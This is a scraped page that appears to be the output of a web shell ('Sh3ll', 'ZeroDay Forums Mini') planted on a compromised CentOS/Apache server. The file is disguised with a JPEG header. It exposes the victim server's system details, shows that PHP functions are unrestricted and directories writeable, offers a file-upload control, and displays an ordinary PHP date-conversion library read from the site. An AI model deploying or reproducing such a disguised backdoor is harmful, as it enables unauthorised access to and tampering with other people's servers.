ÿØÿàJFIFÿÛ„ ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/adimi/application/libraries/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/adimi/application/libraries/Occational.php
<?php if ( ! defined('BASEPATH')) exit('No direct script access allowed');

class Occational {
	function dateConvert($date){

		list($month,$day,$year) = explode('-',$date);
		$day = $day+1;
		$day = $day-1;
		switch ($month)
		{
			case "01":
				$month = 'JAN';
				break;
			case "02":
				$month = 'FEB';
				break;
			case "03":
				$month = 'MAR';
				break;
			case "04":
				$month = 'APR';
				break;
			case "05":
				$month = 'MAY';
				break;
			case "06":
				$month = 'JUN';
				break;
			case "07":
				$month = 'JUL';
				break;
			case "08":
				$month = 'AUG';
				break;
			case "09":
				$month = 'SEP';
				break;
			case "10":
				$month = 'OCT';
				break;
			case "11":
				$month = 'NOV';
				break;
			case "12":
				$month = 'DEC';
				break;
		}
		$final_date = $day.' - '.$month.' - '.$year;
		return $final_date;
	}
}

ZeroDay Forums Mini